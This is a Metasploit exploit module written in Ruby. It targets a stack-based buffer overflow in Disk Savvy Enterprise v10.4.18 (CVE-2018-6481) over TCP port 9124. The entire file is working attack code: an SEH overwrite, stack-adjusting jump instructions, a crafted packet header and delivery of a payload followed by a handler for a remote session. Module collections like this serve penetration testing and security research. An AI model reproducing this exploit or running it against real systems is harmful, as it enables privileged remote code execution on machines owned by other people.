##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Disk Savvy Enterprise v10.4.18',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in Disk Savvy Enterprise v10.4.18, caused by improper bounds
        checking of the request sent to the built-in server. This module
        has been tested successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniel Teixeira'
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x02\x0a\x0d\xf8",
          'Space'      => 800
        },
      'Referencess'        =>
        [
          [ 'CVE', '2018-6481' ]
        ],
      'Targets'        =>
        [
          [ 'Disk Savvy Enterprise v10.4.18',
            {
              'Offset' => 124,
              'Ret'    => 0x10056d13
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2017-01-31',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(9124)])

  end

  def exploit
    seh = generate_seh_record(target.ret)
    connect

    buffer = make_nops(target['Offset'])
    buffer << seh
    buffer << "\x83\xc4\x7f" * 13   #ADD esp,7fh
    buffer << "\x83\xc4\x21"        #ADD esp,21h
    buffer << "\xff\xe4"            #JMP esp
    buffer << payload.encoded
    buffer << Rex::Text.rand_text_alphanumeric(1)

    header = "\x75\x19\xba\xab"
    header << "\x03\x00\x00\x00"
    header << "\x00\x40\x00\x00"
    header << [buffer.length].pack("V")
    header << [buffer.length].pack("V")
    header << [buffer[-1].ord].pack("V")
    packet = header
    packet << buffer

    sock.put(packet)
    handler
  end
end
